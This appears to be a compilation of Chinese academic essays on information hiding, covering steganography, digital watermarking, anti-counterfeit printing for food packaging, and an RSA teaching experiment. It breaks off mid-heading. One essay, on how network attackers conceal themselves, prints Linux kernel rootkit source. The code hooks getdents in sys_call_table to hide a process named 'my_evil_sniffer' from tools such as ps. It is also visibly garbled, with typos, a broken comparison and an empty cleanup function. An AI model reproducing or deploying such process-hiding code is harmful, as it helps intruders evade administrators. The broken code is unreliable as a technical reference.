[39]俞士汶,朱學鋒,賈玉祥. 漢語隱喻自動處理研究之概況[C].第四屆文學與信息技術(shù)國際研討會,2008.

[40] 譚良,吳波,劉震,等.一種基于混沌和小波變換的大容量音頻信息隱藏算法[J].電子學報,2010,38(8):1812-1819.

[41] 丁瑋,閆偉齊,齊東旭.基于置亂與融合的數(shù)字圖象隱藏技術(shù)及其應(yīng)用[J].中國圖象圖形學報,2000,5(8):644-649.

[42] 田云凱,賈傳熒,王慶武.基于Arnold變換的圖像置亂及其恢復[J].大連海事大學學報:自然科學版,2006,32(4):107-109.

[43] 彭萬權(quán),張承暢,馮文江,等.多階幻方卷積碼的構(gòu)造及譯碼[J].電子學報,2013,41(1):123-130.

篇(3)

中圖分類號:TP309 文獻標識碼:A文章編號:1007-9599 (2011) 14-0000-01

Information Hiding Technology and Implementation Methods

Wang Hao,Yang Bo,Zhang Jian

(Shandong Provincial Military Area Command,Jinan250099,China)

Abstract:Today,the information technology and the computer technology is highly developed,the combination of digital information and the ancient steganography make the digital hiding technology become a new technology,which provides a new way to explore the non-cryptographic security communication.

Keywords:Information hiding technology;Implementation

信息隱藏的思想起源于隱寫術(shù),它是一種將秘密信息隱藏于另一個非機密文件內(nèi)容之中,在傳輸、存儲過程中不被察覺和發(fā)現(xiàn),接收者獲得隱藏對象后,按照約定規(guī)則還原秘密信息的技術(shù)。其道理如同生物學上的保護色,巧妙地將自己偽裝隱藏于自然環(huán)境中,免于被天敵發(fā)現(xiàn)而遭受攻擊。

信息隱藏技術(shù)可以追溯到遠古時代,方法從音符、咒語到五花八門的隱寫術(shù),但隱寫術(shù)發(fā)展一直比較緩慢,沒有成為一門獨立的學科,人們對于信息保密更多的是采用密碼技術(shù)。直到信息技術(shù)和計算機技術(shù)高度發(fā)達的今天,數(shù)字化信息與隱寫術(shù)相結(jié)合,為古老的隱寫術(shù)注入了新的活力,使得數(shù)字化信息隱藏技術(shù)成為一門全新的技術(shù),為探索非密碼的通信安全提供了新途徑。

一、信息隱藏的基本方式

(一)傳輸隱藏。在視頻通信系統(tǒng)中隱藏信息,利用視頻通信壓縮編碼中可利用的資源,在確保不使視頻信號質(zhì)量嚴重下降的前提下,嵌入壓縮的話音編碼,形成秘密通信信道。同時數(shù)據(jù)通信中的IP包和TCP包,均有未使用的保留空間,可用來傳輸隱藏信息。另外,IP包的時間戳也可傳送1個比特的數(shù)據(jù)。

(二)載體隱藏。在文本文件、圖像文件及可執(zhí)行文件中插入秘密信息,可實現(xiàn)信息隱藏。利用話音信號的自然冗余性,將秘密信息直接編碼到文件內(nèi)容中去,或?qū)⑵渚幋a到文本格式中,形成以文本為載體的信息隱藏。將秘密信息插入圖像文件中對人的視覺系統(tǒng)不敏感的比特位,在不影響圖像質(zhì)量的前提下實現(xiàn)信息隱藏。利用可執(zhí)行文件中的冗余信息,加載秘密信息。

(三)存儲隱藏。利用計算機系統(tǒng)中保留或未使用的空間保存秘密信息,為隱藏信息提供另外一種方式,通過創(chuàng)建隱藏分區(qū)、使用操作系統(tǒng)分配給文件但未使用的空間來隱藏信息。同一個計算機系統(tǒng)中不同安全級別的兩臺主機,根據(jù)預先約定的規(guī)則,通過存儲特定數(shù)據(jù)也可傳遞信息。級別高的主機在特定區(qū)域存儲不同大小、不同名稱的文件,級別低的主機雖不能訪問數(shù)據(jù),但可從文件列表獲取所要的信息。

二、信息隱藏的實現(xiàn)方法

(一)基于替換的信息隱藏方法。基于替換的信息隱藏,就是用秘密信息比特替換掉偽裝載體中不重要的比特,實現(xiàn)對秘密信息的隱藏。如果這種嵌入的信息在傳輸過程中不被察覺,接收者就可從秘密信息嵌入的位置提取出秘密信息。常用的替換方法:一是最低比特位替換。就是利用圖像位平面最低幾位比特對人的視覺系統(tǒng)不敏感的特性,將這些比特替換成秘密信息的相應(yīng)比特。利用此種方法可在偽裝載體中隱藏大量秘密信息而不被察覺。二是偽隨機置換。就是把秘密信息比特近似隨機地分散在整個載體中。用偽隨機數(shù)發(fā)生器產(chǎn)生索引序列,并在以此為索引的載體元素中插入秘密信息。利用此種方法插入比特的順序無規(guī)律可找,因而增加了被攻擊的復雜度。三是載體區(qū)域和奇偶校驗位替換。將載體偽隨機地分成若干個不相接的載體區(qū)域,在每個區(qū)域的奇偶校驗位上嵌入一個信息比特,若奇偶校驗位與信息比特不匹配,則區(qū)域中所有值最低一個比特位反轉(zhuǎn),使二者相等,在譯碼過程中計算出所有區(qū)域的奇偶校驗位,排列起來重構(gòu)信息。四是量化和抖動替換。利用數(shù)字圖像的抖動和量化處理過程插入秘密信息。運用預測編碼的量化誤差,通過調(diào)整差分信號Δi來傳送秘密信息。五是OSI網(wǎng)絡(luò)協(xié)議幀結(jié)構(gòu)替換。就是將秘密信息插入TCP/IP包中未使用的空間,形成一個秘密的通信信道。

篇(4)

DOI:10.16640/ki.37-1222/t.2016.11.135

0 引言

隨著科技的進步,通信技術(shù)的飛躍式發(fā)展,計算機互聯(lián)網(wǎng)的迅速普及,使得越來越多的人和公司通過網(wǎng)絡(luò)傳輸大量的數(shù)據(jù)文件,但是由于互聯(lián)網(wǎng)具有連接形式多樣性以及開放性和互聯(lián)性,使得這些互聯(lián)網(wǎng)上傳輸?shù)臄?shù)據(jù)文件很容易受到攻擊或竊取,如果涉及國家安全和軍隊建設(shè)乃至個人的隱私信息方面,信息安全問題將變的更加敏感。查閱文獻,發(fā)現(xiàn)現(xiàn)階段研究人員關(guān)注的熱點有倆個,即信息加密和信息隱藏,其中信息隱藏就是把需要傳遞的秘密信息進行偽裝,隱藏在普通文件中,即使文件被攻擊、竊取,也不易發(fā)現(xiàn)其中的隱藏信息,可以有效的加強信息在傳輸過程中的安全性,因此有必要對信息隱藏技術(shù)進行進一步的研究。

1 信息隱藏技術(shù)的含義

信息隱藏是利用人類對多媒體數(shù)字信號不敏感,將秘密信息隱藏在一個不被關(guān)注的多媒體信號中,這樣敏感信息不會被發(fā)現(xiàn),而且也不會影響到多媒體信號的感覺效果和使用價值,當我們利用這樣的技術(shù)傳輸敏感信息時,可以對第三方起到混淆的作用。一般來說隱秘信息的載體選擇有多種類型,比如我們經(jīng)常見到的圖像、聲音、視頻還有文檔都可以作為敏感信息的載體,這樣做的目的是不引人注目,其次即使載體信息被截獲,也很難對隱藏信息進行提取,安全性得到了極大的提高。

2 信息隱藏的具體方法

參考傳統(tǒng)加密技術(shù)方法,我們有保留的基礎(chǔ)上對信息隱藏技術(shù)進行了一定的改進。常用的具體方法有數(shù)字水印技術(shù)、疊像技術(shù)以及替聲技術(shù)等。其中,疊像技術(shù)是1994年提出的可視密碼術(shù)(VisualCryptography),用有意義的明文圖像代替原來的隨機噪聲圖象,使之更具安全性。數(shù)字水印(Digital Watermarking)技術(shù)是將一些標識信息(即數(shù)字水?。┲苯忧度霐?shù)字載體中,但不影響原載體的使用價值,也不容易被人的知覺系統(tǒng)覺察。通過這些隱藏在載體中的信息,可以達到確認內(nèi)容創(chuàng)建者、購買者、傳送隱秘信息或者判斷載體是否被篡改等目的。替聲技術(shù)與疊像技術(shù)很相似,它是通過對聲音信息的處理,使得原來的對象和內(nèi)容都發(fā)生改變,從而達到將真正的聲音信息隱藏起來的目的。替聲技術(shù)可以用于制作安全電話,使用這種電話,可以對通信內(nèi)容加以保密。

(1)替換技術(shù)。把秘密信息偽裝成載體榮譽部分,進行替換后載體的可視性并沒有被破壞,常用的手段有最小有效位替換、偽裝隨機替換,載體的奇偶位對換,圖像的調(diào)色板替換等。

(2)變換技術(shù)。將秘密信息做正交變換,利用擴頻技術(shù)把變換后的秘密信息隱藏到載體的變換域中。這種技術(shù)的優(yōu)點是,它通過不同的空間頻率敏感的感官系統(tǒng)來確定秘密信息具體的嵌入位置及嵌入強度,有效的對嵌入信息進行了隱藏。

(3)擴頻技術(shù)。當對隱藏秘密信息的載體做過濾操作的時候,秘密信息可能被部分過濾,造成秘密信息丟失。在嵌入秘密信息時進行多次重復的代碼擴展,對載體進行過濾時,秘密信息保留的概率大大增加。信息數(shù)據(jù)率高許多倍偽隨機碼把包含基帶信號的頻譜數(shù)據(jù)進行擴展,形成寬頻帶低功率譜密度的信號。

3 信息隱藏的特點

信息隱藏有不同的分支,但所有分支都有很多共同的特點。第一,信息隱藏系統(tǒng)必須保證隱藏信息的不可見性,即在把秘密信息嵌入載體的過程中不能留下任何的痕跡,如果這一過程影響到圖像質(zhì)量,圖像信息嵌入價值將減少,信息隱藏系統(tǒng)安全性降低。 其次,在對載體進行矢量變換操作以后,載體中的隱藏信息任然可以保持完整,并可以極大的概率被提取。 第三,要實現(xiàn)隱藏信息在載體中的不可見性,隱藏信息的長度與載體的長度必須保持一個適度的量,因為載體容量與信息隱藏率是正比關(guān)系的。 第四,要足夠安全,即攻擊者不能有效的讀取和修改載體中的秘密信息。

4 網(wǎng)絡(luò)通信中信息隱藏技術(shù)的應(yīng)用

網(wǎng)絡(luò)通信中往往根據(jù)信息載體的不同,利用文本、語音、視頻以及二進制的隱寫,把秘密信息隱藏在具體的公開轉(zhuǎn)播的數(shù)字多媒體信號中,使得秘密信息可以在網(wǎng)絡(luò)中進行安全有效的傳輸?shù)囊环N技術(shù)。

(1)數(shù)據(jù)保密。在公司之間進行談判時,可能會利用網(wǎng)絡(luò)傳遞一些敏感的信息,比如雙方的協(xié)議、合同、報價等重要文件,包括數(shù)字簽名,為了保護這些敏感信息的安全性,可以把這些信息以隱藏的形式傳遞給對方,這樣我們就可以在非相關(guān)人員難以發(fā)覺的狀態(tài)下完成彼此信息交流。

(2)數(shù)據(jù)的不可抵賴性。在網(wǎng)絡(luò)上進行談判,簽訂協(xié)議等行為,由于不能互相見面,為保證雙方不能否認自己做過的承諾并且接受對方傳遞的條款,需要在傳遞的信息中加入簽名水印,確認其行為目的。

(3)數(shù)據(jù)的完整性。為保證我們接收到的信息是真實的,沒有在網(wǎng)絡(luò)傳遞的過程中被篡改,可以在傳遞的具體多媒體數(shù)據(jù)中嵌入一個完整信息,收到多媒體數(shù)據(jù)后可以對完整信息進行提取,用于確定此多媒體數(shù)據(jù)是否被篡改。

信息隱藏技術(shù)是目前學術(shù)界倍受關(guān)注的一個熱點領(lǐng)域,由于現(xiàn)代通信技術(shù)的爆炸式發(fā)展,互聯(lián)網(wǎng)飛速普及,每時每刻都有海量的信息在網(wǎng)絡(luò)上傳輸,對敏感信息安全進行保護變的更加具有現(xiàn)實意義。在眾多研究人員的不懈努力下,信息隱藏技術(shù)取得很多的成果,但是,信息隱藏技術(shù)作為一個跨學科的技術(shù)體系,我們對它的研究還不是很完善,還有許多的問題沒有解決。信息隱藏技術(shù)的成熟性、實用性還與密碼加密的網(wǎng)絡(luò)傳輸技術(shù)相比較,還有很大差距。但是,其潛在價值是無法估量的,在未來甚至是不可不取代的,我們相信,隨著技術(shù)的進一步發(fā)展,信息隱藏技術(shù)將涌現(xiàn)出更多的思路和辦法,將對信息安全系統(tǒng)的未來扮演重要的角色。

參考文獻:

[1]王育民,張彤,黃繼武.信息隱藏――理論與技術(shù)[M].北京清華大學出版社,2006.

篇(5)

追溯碼的隱藏技術(shù)

1.數(shù)字水印技術(shù)

數(shù)字水印是基于內(nèi)容的非密碼機制的信息隱藏技術(shù),通過對數(shù)據(jù)的內(nèi)容做微量修改來嵌入水印信息,從而達到信息隱藏的目的。該過程不影響原來數(shù)據(jù)的正常使用,不改變原媒體的外觀,是迄今為止唯一可以跨媒體應(yīng)用的信息安全與防偽技術(shù)。嵌入的水印信息可以通過技術(shù)軟件或者特定的設(shè)備提取出來。當前,在國際研究領(lǐng)域中盛行的數(shù)字水印技術(shù)是采用信號分析的理論,通過傅里葉變換、小波變換等手法,尋求肉眼不易發(fā)現(xiàn)的地方埋入信息。一個完整的數(shù)字水印系統(tǒng)包括兩個階段,即水印信息的嵌入和水印信息的提取。在食品包裝印刷中運用數(shù)字水印的原理與在普通數(shù)字媒體中運用的原理基本上是一樣的,只不過印刷品是以半色調(diào)的網(wǎng)點來再現(xiàn)連續(xù)調(diào)原稿的層次和顏色變化,而在提取或檢測水印過程中要對印刷品進行掃描,在掃描中有一個模/數(shù)轉(zhuǎn)換過程。因此在數(shù)字水印嵌入和提取或檢測過程中,必須結(jié)合半色調(diào)加網(wǎng)技術(shù)和模/數(shù)轉(zhuǎn)換的算法,把追溯碼作為水印以視覺不可見的形式隱藏在食品包裝印刷中,通過特定的檢測設(shè)備就能提取到追溯碼的信息,進行食品的安全追溯。

2.隱形光柵防偽技術(shù)

隱形光柵防偽技術(shù)是基于半色調(diào)圖像加網(wǎng)技術(shù)與光柵材料的光學折射特性相結(jié)合的防偽方法。該方法主要用于對半色調(diào)圖像進行防偽設(shè)置,半色調(diào)圖像經(jīng)過防偽處理后,隱藏在圖像中的信息只能通過特定的光柵才能看到,如圖1所示。該方法簡便易行,對設(shè)備及印刷工藝沒有太高的要求,在不增加生產(chǎn)成本的情況下即可達到防偽的目的,因此該防偽技術(shù)有較好的發(fā)展前景。

隱形光柵防偽技術(shù)又叫開鎖防偽技術(shù),隸屬于版紋防偽技術(shù)。它是利用光線的干涉原理,通過線條的變化來表現(xiàn)隱藏文字和圖像等信息,加上制作的膜片,稍稍調(diào)整角度即可使隱藏信息顯現(xiàn)出來的一種防偽技術(shù)。隱形光柵防偽技術(shù)屬于二線防偽技術(shù),也是隱藏防偽技術(shù),需要工具才能檢驗。該技術(shù)的設(shè)計在制版中完成,在印刷中實現(xiàn),不增加額外的制作成本,其素材在選擇上不受限制,制作形式極為廣泛。它是一種利用光學原理進行信息隱藏的技術(shù),使用相應(yīng)的解碼設(shè)備解碼后可以顯示出事先設(shè)計的隱含信息,起到了一定的防偽效果,非常適合運用到食品的外包裝上。

3. 二維碼技術(shù)

早期國際上普遍采用印刷EAN.UCC一維條碼來嵌入追溯信息,它最大的優(yōu)點在于簡化輸入,使用條碼讀取設(shè)備就可方便地進行信息輸入,但是由于一維碼存儲的信息量小,在一定程度上使其應(yīng)用范圍受限,因此產(chǎn)生了二維碼(Dimensional Barcode),圖2為市面上見到的一些二維碼。二維碼是在兩個方向(垂直和水平)上進行的編碼和解碼,使用平面(二維方向上)分布的圖形來記錄數(shù)據(jù)符號信息的,在代碼編制上巧妙地利用構(gòu)成計算機內(nèi)部邏輯基礎(chǔ)的“0”、“1”比特流的概念,使用若干個與二進制相對應(yīng)的幾何形體來表示文字數(shù)值信息,這大幅增加了編碼容量以及完善了編碼加密機制,從而拓展了它的應(yīng)用范圍。通過圖像輸入設(shè)備或光電掃描設(shè)備就可以自動識讀以實現(xiàn)信息的自動處理。

然而,二維碼不能隱含于文字、商標、圖案等之中,必須獨立地印刷在包裝的某一部分上,不易于暗號化,置放在明處容易被造假者仿冒,防偽安全性差,而且二維碼的編解碼是公開的算法,因此二維碼的防偽和防復制是需要解決的問題。二維碼最大可以存儲1000個左右的漢字,存儲空間相對較大,因此我們可以采用信息加密的方式解決防偽和防復制的問題,加密后的二維碼必須通過相應(yīng)的解密算法才能讀取到相應(yīng)的信息,否則讀取到的將是一堆亂碼,從而無法使用。防偽二維碼的出現(xiàn)為食品的追溯和防偽辨識提供了一種更加簡單便捷、準確詳實的方法,加大了造假者的造假成本,使其無利可圖。

4. 網(wǎng)屏編碼防偽技術(shù)

網(wǎng)屏編碼防偽技術(shù)是天津阿波羅信息技術(shù)有限公司總裁顧澤蒼在國家有關(guān)部委的直接支持下,經(jīng)過長期的開發(fā)研制出來的具有自主知識產(chǎn)權(quán)的國際領(lǐng)先水平的編碼新技術(shù)。最初,網(wǎng)屏編碼是針對一維碼和二維碼的不足研制的,實際其應(yīng)用領(lǐng)域遠遠超過了一維碼和二維碼的應(yīng)用。網(wǎng)屏編碼技術(shù)就是將傳統(tǒng)的由有限的數(shù)字組成的肉眼可見的二維條碼,轉(zhuǎn)換為無限容量且隱形的網(wǎng)屏編碼,通過改變圖形網(wǎng)點的不同位置、不同方向、不同形狀等方式排列組合,滿屏編碼覆蓋在包裝的最底層,從而達到不可復制、難以破譯的效果,如圖3所示。網(wǎng)屏編碼防偽技術(shù)隱藏到包裝印刷圖像中的信息,即使專業(yè)人員使用高精度設(shè)備也不容易識別出在什么地方埋有信息,更不易破解出信息的內(nèi)容。

網(wǎng)屏編碼防偽技術(shù)是一種可在使用印刷機印刷文字或圖像的同時,大量埋入不同文字或圖像的編碼新技術(shù)。它實現(xiàn)了真正意義上的數(shù)字化紙張,在A4紙上最多可植入6萬個以上的漢字,存儲60KB以上的聲音、圖像、視頻以及Word、Excel等任意格式的文件。此外,在紙介質(zhì)上即使埋入彩色圖像,其畫質(zhì)也不會受到影響。它超強的抗攻擊能力更是令人刮目相看,即使紙張污染、破損仍然可以正確識讀出隱藏的信息。網(wǎng)屏編碼技術(shù)的信息植入是通過計算機方式處理的,一次成型為印刷品菲林或是CTP版,采用普通油墨正常印刷即可,印刷時無需二次印刷,在整個工藝流程中無需增加任何工藝成本,用Speakun識別器讀取信息就可以發(fā)出聲音。

5.RFID技術(shù)

RFID是英文“Radio Frequency Identification”的縮寫,即無線射頻識別技術(shù),是一種非接觸式的自動識別技術(shù),它通過射頻信號自動識別目標對象并獲取相關(guān)數(shù)據(jù),識別工作無須人工干預,可工作于各種惡劣環(huán)境中。RFID電子標簽除了目前成本相對較高,它具有體積小、容量大、壽命長、穿透力強、可重復使用、支持快速讀寫、可定位和長期跟蹤管理等特點,在食品安全質(zhì)量管理方面有著極大的應(yīng)用潛力。

使用RFID讀寫器將食品的追溯碼存儲到電子標簽芯片中,可以無線讀取,多次寫入和修改。芯片里的數(shù)據(jù)除了采用密碼保護外,還可用一些加密算法和認證過程來實現(xiàn)安全管理,造假者很難破解和仿造出一模一樣的電子標簽。而且使用RFID技術(shù)可以一次同時讀取多個標簽,加快食品的流通速度,提高食品供應(yīng)鏈的效率。但是由于目前缺少國家標準,僅有一些行業(yè)標準,不同企業(yè)使用的頻率、編碼及數(shù)據(jù)內(nèi)容等都可能會存在差異,讀寫器和標簽難以完全通用,不同企業(yè)之間的數(shù)據(jù)交換和協(xié)調(diào)受到了限制。

篇(6)

中圖分類號:TP393文獻標識碼:A文章編號:1009-3044(2007)04-10961-03

1 引言

攻擊活動是一系列連續(xù)操作,若攻擊時一不小心露出馬腳,所有前面的攻擊就會付諸東流,甚至會“引火燒身”?;谶@樣的認識,精明的網(wǎng)絡(luò)攻擊者特別注意隱藏攻擊活動。

隱藏技術(shù)在計算機系統(tǒng)安全中應(yīng)用十分廣泛,尤其是在網(wǎng)絡(luò)攻擊中,當攻擊者成功侵入一個系統(tǒng)后,有效隱藏攻擊者的文件、進程及其加載的模塊變得尤為重要。本文將討論網(wǎng)絡(luò)攻擊活動中文件、進程、網(wǎng)絡(luò)連接及通道的高級隱藏技術(shù),這些技術(shù)有的已經(jīng)被廣泛應(yīng)用到各種后門或安全檢測程序之中,而有一些則剛剛起步,仍然處在討論階段,應(yīng)用很少。

2 進程活動隱藏技術(shù)

攻擊者在目標系統(tǒng)進行攻擊活動時,產(chǎn)生攻擊進程,如果不將這些攻擊進程隱藏在系統(tǒng)中,就會被網(wǎng)絡(luò)安全管理人員發(fā)現(xiàn)。例如,攻擊者注冊到某臺Linux主機時,系統(tǒng)管理人員使用ps-ef | grep in.telnetd命令就可以察覺。攻擊者可以通過修改系統(tǒng)的進程管理模塊,替換進程管理核心模塊,控制進程的顯示,主要是netstat、ps等命令。下面給出Linux系統(tǒng)下隱藏進程源程序的例子:

extern void* sys_call_table[];

/*隱藏進程名稱*/

char mtroj[]="my_evil_sniffer";

int (*orig_getdnts)(unsigned int fd,struct dirent *dirp,unsigned int coumt);

/*convert a string to number*/

int myatoi(char *str)

{ int res=0;

int mul=1;

char *ptr;

for(ptr=str+strlen(str)-1;ptr>=str;ptr--) {

if(*ptr'9')

return(-1);

res+=(*ptr-'0') *mul;

mul*=10;}

return (res);}

/*從task structure中獲取進程號*/

struct task_struct *get_task(pid_t pid)

{ struct task_struck *p=current;

do { if (p->pid==pid)

returnp;

p=p->next_task; }

while (p!=current);

return NULL;}

/*從task structure獲取進程名稱*/

static inline char *task_name(struct task_struct *p,char *buf)

{ int i; char *name;

name=p->comm;

i=sizeof(p->comm);

do {unsigned char c=*name;

name++; i--;

*buf=c;

if (!c);

break;

if (c=='\\') {

buf[1]=c; buf+=2;

continue; }

if (c= ='\n') {

buf[0]='\\';

buf[1]='n'; buf+=2;

continue; }

buf++;}

while (i);

*buf=’\n’;

return buf+1;}

/*確認需要隱藏的進程*/

int invisible (pid_t pid)

{struct task_struct *task=get_task (pid);

char *buffer;

if (task) {

buffer=kmalloc (200,GFP_KERNEL);

memset (buffer,0,200);

task_name (task,buffer);

if (strstr (buffer, (char *) &mtroj)) {

kfree (buffer);

return 1; }

}return 0;}

int hacked_getdents (unsigned int fd, struct dirent *dirp, unsigned int count)

{unsigned int tmp,n;

int t,proc=0;

struct inode *dinode;

struct dirent dirp2,dirp3;

tmp=(*orig_getdents) (fd,dirp,count);

#idef _LINUX_DCACHE_H

dinode=current->files->fd[fd]->d_inode;

#else

dinode=current->files->f_inode;

#endif

if (dinode->i_ino= =PROC_ROOT_INO && !MAJOR (dinode->I_dev) &&

MINOR (dinode->I_dev) = =1)

proc=1;

if (tmp>0) {

dirp2= (struct dirent *) kmalloc (tmp, GFP_KERNEL);

memcpy_fromfs( dirp2,dirp,tmp);

dirp3=dirp2;t=tmp;

while (t>0) {

n=dirp3->d_reclen;

t-=n;

if ((proc && invisble (myatoi (dirp3->d_name)))) {

if (t!=0)

memmove (dirp3, (char *)dirp3+dirp3->d_reclen,t);

else

dirp3->d_off=1024;

tmp-=n;}

if (t!=0)

dirp3= (struct dirent *) ((char *) dirp3+dirp3->d_reclen);}

memcpy_tofs (dirp,dirp2,tmp);

kfree (dirp2);}

return tmp;

int init_module (void)/*module setup*/

{orig_getdents=sys_call_table[SYS_getdents];

sys_call_table[SYS_getdents]=hacked_getdents;return 0;}

void cleanup_module (void)/*module shutdown*/

篇(7)

互聯(lián)網(wǎng)傳輸數(shù)據(jù)以及文件的過程中,很容易出現(xiàn)文件被攻擊、數(shù)據(jù)被竊取等問題。尤其是關(guān)系到個人隱私以及國家安全的文件資料,如果被不法的黑客獲取,對國家安全以及個人安全都會造成一定負面影響。為了保障電子信息安全,引入了電子信息隱藏技術(shù),可以提升網(wǎng)絡(luò)傳輸安全性,本文主要對電子信息隱藏技術(shù)的要點進行分析,并且總結(jié)了電子信息隱藏技術(shù)的應(yīng)用現(xiàn)狀。

2電子信息隱藏技術(shù)的涵義

電子信息隱藏和信息偽裝,都是使用一些手段或方法把機密信息與其他信息混在一起,這樣防止居心不良的人盜用信息。在實際生活中,信息隱藏技術(shù)的載體種類多種多樣,例如,圖片、音頻、視頻以及文檔。所以,將機密信息隱藏在這些圖片、文檔中,不會輕易被黑客發(fā)現(xiàn),即便被發(fā)現(xiàn)也沒有大礙,黑客是沒有辦法提取其中的機密信息,這樣就切實保證了機密信息的安全性。傳統(tǒng)保護信息的方式是對信息進行加密,并且傳統(tǒng)的加密技術(shù)在方法以及思想方面有可取之處,所以,新型信息隱藏技術(shù)并不完全摒棄傳統(tǒng)加密技術(shù),并且對傳統(tǒng)進行了相應(yīng)的調(diào)整以及發(fā)展。依據(jù)使用信息隱藏技術(shù)對象的不同,可以分為不同技術(shù)類型,例如,數(shù)字水印技術(shù)、替聲技術(shù)、疊像技術(shù)等。其中,數(shù)字水印技術(shù)可以在網(wǎng)絡(luò)環(huán)境下切實保護版權(quán),將版權(quán)各項信息變成隱藏信息放入圖片、音頻、視頻中,確定所有權(quán)以及防止侵權(quán)行為。替聲技術(shù)是根據(jù)聲音的內(nèi)容分類,并對聲音信息進行相應(yīng)的處理,對原有的聲音內(nèi)容、原聲對象等進行改變,這樣可以有效將聲音的真正信息隱藏起來。

3電子信息隱藏技術(shù)幾大特征

電子信息隱藏技術(shù)具有非常獨特且明顯的優(yōu)勢,為人們的生產(chǎn)和生活活動提供了便利,其主要有以下幾個特征:其一,安全性高,傳統(tǒng)的信息一旦受到攻擊,信息就會受到破壞;而隱藏信息在遭到攻擊時,隱藏技術(shù)可以盡最大的能力保護信息,防止信息損壞。其二,具有隱蔽性,電子信息隱藏技術(shù)主要在傳遞信息時將機密信息隱藏成普通的信息,這樣可以避免一些不良居心的人截獲。其三,不可獲得性,信息的原始載體通過信息隱藏技術(shù)將其轉(zhuǎn)化成普通載體,兩者之間的聯(lián)系是難以發(fā)現(xiàn)的。就算是信息落入了不法分子手中,他們也是不能提取的,如果想要破譯隱藏信息也是需要大量的時間,這可以為信息所有者解決這一盜取問題提供了充裕的時間。其四,不可見性,在使用隱藏技術(shù)時,主要是使用視聽屬性對信息進行隱藏,雖然信息的內(nèi)容并沒有變化,但是卻無法正常感知。其五,不可變性。信息在傳輸?shù)倪^程中,其載體可能會出現(xiàn)變化、也可能會經(jīng)過不同手段處理以及人為的攻擊,但是,載體中的信息并不會發(fā)生變化。其六,可恢復性,雖然信息隱藏技術(shù)可以保持信息的不變,但是這并不是絕對的不變化,其中可能有意外情況發(fā)生造成信息丟失、損壞。但是,信息隱藏技術(shù)的可恢復性能夠有效解決信息載體的損壞、丟失這一問題,只要殘留一些信息就可以通過一定的手段對信息進行恢復。

4電子信息隱藏技術(shù)應(yīng)用現(xiàn)狀

4.1電子信息隱藏技術(shù)在數(shù)據(jù)保密上的使用

隨著互聯(lián)網(wǎng)的發(fā)展,人們的生活方式得到了極大的改變,互聯(lián)網(wǎng)讓人們的生活更加方便,人們可以通過互聯(lián)網(wǎng)來獲得信息或傳輸信息。但是,由于互聯(lián)網(wǎng)的開放性以及便捷性,不少不良分子開始利用互聯(lián)網(wǎng)這一平臺使用不法手段侵害他人的版權(quán)、截獲他人的資料,使網(wǎng)絡(luò)信息安全問題頻發(fā),同時也對信息所有者造成了極大的傷害。當前,隨著經(jīng)濟全球化、信息全球化的發(fā)展,每一個人的生活都與互聯(lián)網(wǎng)緊密相關(guān),互聯(lián)網(wǎng)也漸漸涉及到了各個方面,如政治、經(jīng)濟、軍事以及個人隱私。這些信息一旦泄露將會造成不可估量的損失。所以,對信息進行隱藏保護是非常有必要的。信息隱藏技術(shù)讓人們安全使用互聯(lián)網(wǎng)進行交流,同時也可以對一些重要的信息進行有效保護。

4.2電子信息隱藏技術(shù)在鑒定數(shù)據(jù)完整性上的使用

比較常用的隱藏技術(shù)一般有數(shù)字水印技術(shù)、替聲技術(shù)和疊像技術(shù)。針對這三種隱藏技術(shù)在生活中的使用情況進行分析可以得知,數(shù)字水印技術(shù)還是存在著一些不足之處,如果保護載體遭到篡改,隱藏其中的信息就會破壞或暴露出來,之后不法之徒就可以輕松獲得隱藏信息。數(shù)字水印技術(shù)通常是在一些數(shù)字票據(jù)中使用,其可以將隱藏的水印保留在票據(jù)中,可以有效甄別數(shù)字票據(jù)的真?zhèn)巍T趯?shù)據(jù)的完整性鑒定中主要有信號真?zhèn)蔚蔫b定、信號是否完整的鑒定、信號之間的差別、信息資料是否遭到篡改或丟失等。通過對數(shù)據(jù)完整性進行鑒定能夠鑒定出信號是否真實,有效減少虛假信息。在具體實踐中的使用一般有以下兩步:先需要通過數(shù)據(jù)庫管理系統(tǒng)來確定數(shù)據(jù)是否完整,再輸入準確的信息并儲存信息。之后,根據(jù)具體的實際情況,使用較為合適的驗證方式對其進行驗證檢查。

5結(jié)語

綜上所述,信息隱藏技術(shù)的應(yīng)用價值非常大以及前景廣闊,作為有效的信息安全技術(shù),這種技術(shù)還需要進行深入研究,當前的信息隱藏技術(shù)一般應(yīng)用在數(shù)據(jù)保密以及鑒定數(shù)據(jù)完整性等工作上,還值得不斷探究以及發(fā)展,促使信息隱藏技術(shù)在更多的領(lǐng)域發(fā)揮重要作用。

引用:

[1]錢蔚蔚,高潔.面向政府電子信息服務(wù)的公眾體驗量化模型構(gòu)建研究[J].情報科學,2016,05:19-22.

[2]楊楊,張衛(wèi)明,侯冬冬,王輝,俞能海.具有對比度增強效果的可逆信息隱藏研究進展與展望[J].網(wǎng)絡(luò)與信息安全學報,2016,04:12-20.

[3]楊芳.論個人信息的隱私權(quán)保護——信息自由原則之下的有限保護[J].西南科技大學學報(哲學社會科學版),2016,02:76-82.

篇(8)

中圖分類號:G622.0文獻標識碼:A文章編號:1007-9599 (2010) 10-0000-01

Research of Experiment Teaching on Information Hiding Technology

Liu Fang,Lu Yinxiao

(First Aviation Institute of Air Force,Xinyang464000,China)

Abstract:The theory is abstract and difficult for students to understand.In order to enhance s a deep understanding of steganography for student,and upgrade their skills in information security and confrontation,RSA algorithm is an example for experiment teaching research in this paper.The study includes experiment teaching purposes,the basic theory,learning environment,implementation plans,the specific details and requirements and so on.

Keywords:Information hiding technology;RSA algorithm;Experiment teaching

為切實培養(yǎng)學生信息安全與對抗的意識,提高學生信息安全與對抗的技能,教學實驗是學生實踐活動中必不可少的重要環(huán)節(jié)。通過合理配置和開設(shè)系統(tǒng)性實驗,結(jié)合專業(yè)基礎(chǔ)和專業(yè)課程,使學生對信息安全與對抗專業(yè)知識具有更為深刻的理解和掌握。

一、信息隱藏技術(shù)實驗教學目的

信息隱藏技術(shù)有多種形式,包括數(shù)據(jù)加密解密、數(shù)字水印、閥下通道等。本實驗教學以數(shù)據(jù)加密解密為例,讓學生充分理解和掌握信息隱藏的基本概念以及通過網(wǎng)絡(luò)進行數(shù)據(jù)加密傳輸?shù)脑?。下面以RSA算法為例設(shè)計實驗教學。

二、RSA算法的安全性原理

